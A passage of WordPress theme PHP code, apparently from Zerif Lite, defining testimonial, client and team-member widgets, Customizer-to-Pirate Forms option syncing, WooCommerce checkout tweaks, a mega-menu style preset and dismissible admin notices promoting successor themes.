echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt="" />';
echo '</div>';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_testimonials_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
$alt = get_post_meta( $instance['custom_media_id'], '_wp_attachment_image_alt', true );
if ( ! empty( $zerif_testimonials_custom_media_id ) ) {
echo '<div class="client-image hidden-xs">';
echo '<img src="' . esc_url( $zerif_testimonials_custom_media_id ) . '" alt="' . esc_attr( $alt ) . '" />';
echo '</div>';
}
}
echo '</div>';
echo $args['after_widget'];
}
/**
* Update widget's values
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['text'] = stripslashes( wp_filter_post_kses( $new_instance['text'] ) );
$instance['title'] = sanitize_text_field( $new_instance['title'] );
$instance['details'] = sanitize_text_field( $new_instance['details'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['link'] = esc_url( $new_instance['link'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'title' ) . '">' . __( 'Author', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'title' ) . '" id="' . $this->get_field_id( 'title' ) . '" value="';
if ( ! empty( $instance['title'] ) ) {
echo $instance['title'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Author link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo esc_url( $instance['link'] );
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'details' ) . '">' . __( 'Author details', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'details' ) . '" id="' . $this->get_field_id( 'details' ) . '" value="';
if ( ! empty( $instance['details'] ) ) {
echo $instance['details'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'text' ) . '">' . __( 'Text', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'text' ) . '" id="' . $this->get_field_id( 'text' ) . '">';
if ( ! empty( $instance['text'] ) ) {
echo htmlspecialchars_decode( $instance['text'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_clients_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Clients widget
*/
class zerif_clients_widget extends WP_Widget {
/**
* Constructor
*/
public function __construct() {
parent::__construct(
'zerif_clients-widget',
__( 'Zerif - Clients widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue widgets scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Widget instance
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<a href="';
if ( ! empty( $instance['link'] ) ) {
echo apply_filters( 'widget_title', $instance['link'] );
}
echo '">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt="' . __( 'Client', 'zerif-lite' ) . '">';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_clients_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
if ( ! empty( $zerif_clients_custom_media_id ) ) {
echo '<img src="' . esc_url( $zerif_clients_custom_media_id ) . '" alt="' . __( 'Client', 'zerif-lite' ) . '">';
}
}
echo '</a>';
echo $args['after_widget'];
}
/**
* Update the widget
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['link'] = esc_url( $new_instance['link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo $instance['link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_team_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Team member widget
*/
class zerif_team_widget extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'zerif_team-widget',
__( 'Zerif - Team member widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue widget scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Instance widget
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<div class="col-lg-3 col-sm-3 team-box">';
echo '<div class="team-member" tabindex="0">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<figure class="profile-pic">';
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt=""/>';
echo '</figure>';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_team_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
$alt = get_post_meta( $instance['custom_media_id'], '_wp_attachment_image_alt', true );
if ( ! empty( $zerif_team_custom_media_id ) ) {
echo '<figure class="profile-pic">';
echo '<img src="' . esc_url( $zerif_team_custom_media_id ) . '" alt="' . esc_attr( $alt ) . '"/>';
echo '</figure>';
}
}
echo '<div class="member-details">';
if ( ! empty( $instance['name'] ) ) {
echo '<h3 class="dark-text red-border-bottom">' . apply_filters( 'widget_title', $instance['name'] ) . '</h3>';
}
if ( ! empty( $instance['position'] ) ) {
echo '<div class="position">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['position'] ) ) . '</div>';
}
echo '</div>';
echo '<div class="social-icons">';
echo '<ul>';
$zerif_team_target = '_self';
if ( ! empty( $instance['open_new_window'] ) ) {
$zerif_team_target = '_blank';
}
if ( ! empty( $instance['fb_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['fb_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Facebook link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-facebook"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['tw_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['tw_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Twitter link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-twitter"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['bh_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['bh_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Behance link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-behance"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['db_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['db_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Dribble link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-dribbble"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['ln_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['ln_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Linkedin link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-linkedin"></i>';
echo '</a>';
echo '</li>';
}
echo '</ul>';
echo '</div>';
if ( ! empty( $instance['description'] ) ) {
echo '<div class="details">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['description'] ) ) . '</div>';
}
echo '</div>';
echo '</div>';
echo $args['after_widget'];
}
/**
* Update the widget
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['name'] = sanitize_text_field( $new_instance['name'] );
$instance['position'] = stripslashes( wp_filter_post_kses( $new_instance['position'] ) );
$instance['description'] = stripslashes( wp_filter_post_kses( $new_instance['description'] ) );
$instance['fb_link'] = esc_url( $new_instance['fb_link'] );
$instance['tw_link'] = esc_url( $new_instance['tw_link'] );
$instance['bh_link'] = esc_url( $new_instance['bh_link'] );
$instance['db_link'] = esc_url( $new_instance['db_link'] );
$instance['ln_link'] = esc_url( $new_instance['ln_link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['open_new_window'] = strip_tags( $new_instance['open_new_window'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'name' ) . '">' . __( 'Name', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'name' ) . '" id="' . $this->get_field_id( 'name' ) . '" value="';
if ( ! empty( $instance['name'] ) ) {
echo $instance['name'];
}
echo '" class="widefat"/>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'position' ) . '">' . __( 'Position', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'position' ) . '" id="' . $this->get_field_id( 'position' ) . '">';
if ( ! empty( $instance['position'] ) ) {
echo htmlspecialchars_decode( $instance['position'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'description' ) . '">' . __( 'Description', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'description' ) . '" id="' . $this->get_field_id( 'description' ) . '">';
if ( ! empty( $instance['description'] ) ) {
echo htmlspecialchars_decode( $instance['description'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'fb_link' ) . '">' . __( 'Facebook link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'fb_link' ) . '" id="' . $this->get_field_id( 'fb_link' ) . '" value="';
if ( ! empty( $instance['fb_link'] ) ) {
echo $instance['fb_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'tw_link' ) . '">' . __( 'Twitter link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'tw_link' ) . '" id="' . $this->get_field_id( 'tw_link' ) . '" value="';
if ( ! empty( $instance['tw_link'] ) ) {
echo $instance['tw_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'bh_link' ) . '">' . __( 'Behance link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'bh_link' ) . '" id="' . $this->get_field_id( 'bh_link' ) . '" value="';
if ( ! empty( $instance['bh_link'] ) ) {
echo $instance['bh_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'db_link' ) . '">' . __( 'Dribble link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'db_link' ) . '" id="' . $this->get_field_id( 'db_link' ) . '" value="';
if ( ! empty( $instance['db_link'] ) ) {
echo $instance['db_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'ln_link' ) . '">' . __( 'Linkedin link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'ln_link' ) . '" id="' . $this->get_field_id( 'ln_link' ) . '" value="';
if ( ! empty( $instance['ln_link'] ) ) {
echo $instance['ln_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<input type="checkbox" name="' . $this->get_field_name( 'open_new_window' ) . '" id="' . $this->get_field_id( 'open_new_window' ) . '"';
if ( ! empty( $instance['open_new_window'] ) ) {
checked( (bool) $instance['open_new_window'], true );
}
echo '>' . __( 'Open links in new window?', 'zerif-lite' ) . '<br>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
/**
* Register CSS needed in customizer
*/
function zerif_customizer_custom_css() {
wp_enqueue_style( 'zerif_customizer_custom_css', get_template_directory_uri() . '/css/zerif_customizer_custom_css.css' );
}
add_action( 'customize_controls_print_styles', 'zerif_customizer_custom_css' );
add_filter( 'body_class', 'remove_class_function' );
/**
* Remove custom-background from body_class()
*/
function remove_class_function( $classes ) {
$zerif_keep_old_fp_template = get_theme_mod( 'zerif_keep_old_fp_template' );
/* For new users with static page */
if ( ! zerif_check_if_old_version_of_theme() && ( get_option( 'show_on_front' ) == 'page' ) && ! $zerif_keep_old_fp_template ) {
if ( ! is_front_page() && ! is_home() ) {
// index of custom-background
$key = array_search( 'custom-background', $classes );
// remove class
unset( $classes[ $key ] );
}
} else {
if ( ! is_home() && ! is_page_template( 'template-frontpage.php' ) ) {
// index of custom-background
$key = array_search( 'custom-background', $classes );
// remove class
unset( $classes[ $key ] );
}
}
return $classes;
}
add_action( 'customize_save_after', 'zerif_lite_update_options_in_pirate_forms', 99 );
/**
* Update Pirate Forms plugin when there is a change in Customizer Contact us section
*/
function zerif_lite_update_options_in_pirate_forms() {
/* if Pirate Forms is installed */
if ( defined( 'PIRATE_FORMS_VERSION' ) ) :
$zerif_lite_current_mods = get_theme_mods(); /* all theme modification values in Customize for Zerif Lite */
$pirate_forms_settings_array = get_option( 'pirate_forms_settings_array' ); /* Pirate Forms's options's array */
if ( ! empty( $zerif_lite_current_mods ) ) :
if ( isset( $zerif_lite_current_mods['zerif_contactus_button_label'] ) ) :
$pirate_forms_settings_array['pirateformsopt_label_submit_btn'] = $zerif_lite_current_mods['zerif_contactus_button_label'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_email'] ) ) :
$pirate_forms_settings_array['pirateformsopt_email'] = $zerif_lite_current_mods['zerif_contactus_email'];
$pirate_forms_settings_array['pirateformsopt_email_recipients'] = $zerif_lite_current_mods['zerif_contactus_email'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_recaptcha_show'] ) && ( $zerif_lite_current_mods['zerif_contactus_recaptcha_show'] == 1 ) ) :
if ( isset( $pirate_forms_settings_array['pirateformsopt_recaptcha_field'] ) ) :
unset( $pirate_forms_settings_array['pirateformsopt_recaptcha_field'] );
endif;
else :
$pirate_forms_settings_array['pirateformsopt_recaptcha_field'] = 'yes';
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_sitekey'] ) ) :
$pirate_forms_settings_array['pirateformsopt_recaptcha_sitekey'] = $zerif_lite_current_mods['zerif_contactus_sitekey'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_secretkey'] ) ) :
$pirate_forms_settings_array['pirateformsopt_recaptcha_secretkey'] = $zerif_lite_current_mods['zerif_contactus_secretkey'];
endif;
endif;
if ( ! empty( $pirate_forms_settings_array ) ) :
update_option( 'pirate_forms_settings_array', $pirate_forms_settings_array ); /* Update the options */
endif;
endif;
}
/**
* Function to check if version 1.8.5 or less has been previously installed.
*/
function zerif_check_if_old_version_of_theme() {
$old_zerif_option = get_theme_mod( 'zerif_bigtitle_title' );
$old_zerif_option_2 = get_theme_mod( 'zerif_bigtitle_redbutton_label' );
$old_zerif_option_3 = get_theme_mod( 'zerif_ourfocus_title' );
if ( ! empty( $old_zerif_option ) || ! empty( $old_zerif_option_2 ) || ! empty( $old_zerif_option_3 ) ) {
return true;
}
return false;
}
/**
* Add starter content for fresh sites
*
* @since 1.8.5.12
*/
function zerif_starter_content() {
/*
* Starter Content Support
*/
add_theme_support(
'starter-content',
array(
// Twenty Seventeen
'posts' => array(
'home',
'blog',
),
'nav_menus' => array(
'primary' => array(
'name' => __( 'Primary Menu', 'zerif-lite' ),
'items' => array(
'page_home',
'page_blog',
),
),
),
'options' => array(
'show_on_front' => 'page',
'page_on_front' => '{{home}}',
'page_for_posts' => '{{blog}}',
),
)
);
}
add_action( 'after_setup_theme', 'zerif_starter_content' );
/**
* Save activation time.
*/
function zerif_time_activated() {
update_option( 'zerif_time_activated', time() );
}
add_action( 'after_switch_theme', 'zerif_time_activated' );
/**
* BeaverBuilder Upgrade
*/
function zerif_bb_upgrade_link() {
return 'https://www.wpbeaverbuilder.com/?fla=101&campaign=zf';
}
add_filter( 'fl_builder_upgrade_url', 'zerif_bb_upgrade_link' );
/**
* Check if $no_seconds have passed since theme was activated.
* Used to perform certain actions, like adding a new recommended action in About Zerif page.
*
* @since 1.8.5.31
* @access public
* @return bool
*/
function zerif_check_passed_time( $no_seconds ) {
$activation_time = get_option( 'zerif_time_activated' );
if ( ! empty( $activation_time ) ) {
$current_time = time();
$time_difference = (int) $no_seconds;
if ( $current_time >= $activation_time + $time_difference ) {
return true;
} else {
return false;
}
}
return true;
}
add_action( 'woocommerce_before_checkout_form', 'zerif_coupon_after_order_table_js' );
/**
* Checkout page
* Move the coupon fild and message info after the order table
**/
function zerif_coupon_after_order_table_js() {
wc_enqueue_js(
'
$( $( "div.woocommerce-info, .checkout_coupon" ).detach() ).appendTo( "#zerif-checkout-coupon" );
'
);
}
add_action( 'woocommerce_checkout_order_review', 'zerif_coupon_after_order_table' );
/**
* Checkout page
* Add the id zerif-checkout-coupon to be able to Move the coupon fild and message info after the order table
**/
function zerif_coupon_after_order_table() {
echo '<div id="zerif-checkout-coupon"></div><div style="clear:both"></div>';
}
/**
* Max Mega Menu Zerif Theme
**/
function megamenu_add_theme_zerif_lite_max_menu( $themes ) {
$themes['zerif_lite_max_menu'] = array(
'title' => 'Zerif Lite',
'menu_item_align' => 'right',
'menu_item_link_height' => '70px',
'container_background_from' => 'rgb(255, 255, 255)',
'container_background_to' => 'rgb(255, 255, 255)',
'menu_item_background_hover_from' => 'rgb(255, 255, 255)',
'menu_item_background_hover_to' => 'rgb(255, 255, 255)',
'menu_item_link_font_size' => '15px',
'menu_item_link_color' => 'rgb(49, 49, 49)',
'menu_item_link_color_hover' => 'rgb(233, 102, 86)',
'menu_item_highlight_current' => 'off',
'panel_background_from' => 'rgb(255, 255, 255)',
'panel_background_to' => 'rgb(255, 255, 255)',
'panel_header_font_size' => '15px',
'panel_header_font_weight' => 'normal',
'panel_header_border_color' => '#555',
'panel_font_size' => '15px',
'panel_font_color' => 'rgb(49, 49, 49)',
'panel_font_color_hover' => 'rgb(233, 102, 86)',
'panel_font_family' => 'inherit',
'panel_second_level_font_color' => 'rgb(49, 49, 49)',
'panel_second_level_font_color_hover' => 'rgb(233, 102, 86)',
'panel_second_level_text_transform' => 'none',
'panel_second_level_font' => 'inherit',
'panel_second_level_font_size' => '15px',
'panel_second_level_font_weight' => 'normal',
'panel_second_level_font_weight_hover' => 'normal',
'panel_second_level_text_decoration' => 'none',
'panel_second_level_text_decoration_hover' => 'none',
'panel_second_level_padding_left' => '20px',
'panel_second_level_border_color' => '#555',
'panel_third_level_font_color' => 'rgb(49, 49, 49)',
'panel_third_level_font_color_hover' => 'rgb(233, 102, 86)',
'panel_third_level_font' => 'inherit',
'panel_third_level_font_size' => '15px',
'panel_third_level_padding_left' => '20px',
'flyout_background_from' => 'rgb(255, 255, 255)',
'flyout_background_to' => 'rgb(255, 255, 255)',
'flyout_background_hover_from' => 'rgb(255, 255, 255)',
'flyout_background_hover_to' => 'rgb(255, 255, 255)',
'flyout_link_size' => '15px',
'flyout_link_color' => 'rgb(49, 49, 49)',
'flyout_link_color_hover' => 'rgb(233, 102, 86)',
'flyout_link_family' => 'inherit',
'responsive_breakpoint' => '768px',
'resets' => 'on',
'toggle_background_from' => '#222',
'toggle_background_to' => '#222',
'toggle_font_color' => 'rgb(102, 102, 102)',
'mobile_background_from' => 'rgb(255, 255, 255)',
'mobile_background_to' => 'rgb(255, 255, 255)',
'mobile_menu_item_link_font_size' => '15px',
'mobile_menu_item_link_color' => 'rgb(102, 102, 102)',
'mobile_menu_item_link_text_align' => 'left',
);
return $themes;
}
add_filter( 'megamenu_themes', 'megamenu_add_theme_zerif_lite_max_menu' );
/**
* Function that decide if current date is before a certain date.
*
* @param string $date Date to compare.
* @return bool
*/
function zerif_is_before_date( $date ) {
$countdown_time = strtotime( $date );
$current_time = time();
return $current_time <= $countdown_time;
}
/**
* Add a dismissible notice in the dashboard to let users know they can migrate to Hestia
*/
function zerif_hestia_notice() {
global $current_user;
$user_id = $current_user->ID;
$ignored_notice = get_user_meta( $user_id, 'zerif_ignore_hestia_notice' );
if ( ! empty( $ignored_notice ) ) {
return;
}
$should_display_notice = zerif_is_before_date( '2018-11-01' );
if ( ! $should_display_notice ) {
return;
}
$message =
sprintf(
/* translators: Install Hestia link */
esc_html__( 'Check out our %s, fully compatible with your current Zerif Lite theme. You will love it!', 'zerif-lite' ),
sprintf(
'<a href="%1$s"><strong>%2$s</strong></a>',
admin_url( 'theme-install.php?theme=hestia' ),
esc_html__( 'best 2018 free theme', 'zerif-lite' )
)
);
$dismiss_button = sprintf(
'<a href="%s" class="notice-dismiss" style="text-decoration:none;"></a>',
'?zerif_nag_ignore_hestia=0'
);
printf( '<div class="notice updated" style="position:relative;">%1$s<p>%2$s</p></div>', $dismiss_button, $message );
}
add_action( 'admin_notices', 'zerif_hestia_notice' );
/**
* Update the zerif_ignore_hestia_notice option to true, to dismiss the notice from the dashboard
*/
function zerif_nag_ignore_hestia() {
global $current_user;
$user_id = $current_user->ID;
/* If user clicks to ignore the notice, add that to their user meta */
if ( isset( $_GET['zerif_nag_ignore_hestia'] ) && '0' == $_GET['zerif_nag_ignore_hestia'] ) {
add_user_meta( $user_id, 'zerif_ignore_hestia_notice', 'true', true );
}
}
add_action( 'admin_init', 'zerif_nag_ignore_hestia' );
/**
* Add a dismissible notice in the dashboard to let users know they can migrate to Zelle and read about Zerif renaming
*/
function zerif_neve_notice() {
global $current_user;
$user_id = $current_user->ID;
$ignored_notice = get_user_meta( $user_id, 'zerif_ignore_neve_notice' );
if ( ! empty( $ignored_notice ) ) {
return;
}
$should_display_notice = ! zerif_is_before_date( '2018-11-01' );
if ( ! $should_display_notice ) {
return;
}
$dismiss_button =
sprintf(
'<a href="%s" class="notice-dismiss" style="text-decoration:none;"></a>',
'?zerif_nag_ignore_neve=0'
);
$message =
sprintf(
/* translators: Install Neve link and Zerif renaming article link */
esc_html__( 'Zerif changes its name and will no longer be maintained. But don\'t worry about that. Check out %1$s, fully compatible with Zerif Lite. It\'s free and it\'s superb. You will love it! %2$s about the Zerif renaming and our next plans.', 'zerif-lite' ),
sprintf(
/* translators: Install Neve link */
'<a target="_blank" href="%1$s"><strong>%2$s</strong></a>',
esc_url( admin_url( 'theme-install.php?theme=neve' ) ),
esc_html__( 'our newest theme', 'zerif-lite' )
),
/* translators: Zerif renaming article link */
sprintf(
'<br><a target="_blank" href="%1$s"><strong>%2$s</strong></a>',
esc_url( 'https://themeisle.com/blog/zerif-changes-its-name-to-zelle/' ),
esc_html__( 'Read more', 'zerif-lite' )
)
);
printf(
'<div class="notice updated" style="position:relative;">%1$s<p>%2$s</p></div>',
$dismiss_button,
$message
);
}
add_action( 'admin_notices', 'zerif_neve_notice' );
/**
* Update the zerif_ignore_hestia_notice option to true, to dismiss the notice from the dashboard
*/
function zerif_nag_ignore_neve() {
global $current_user;
$user_id = $current_user->ID;
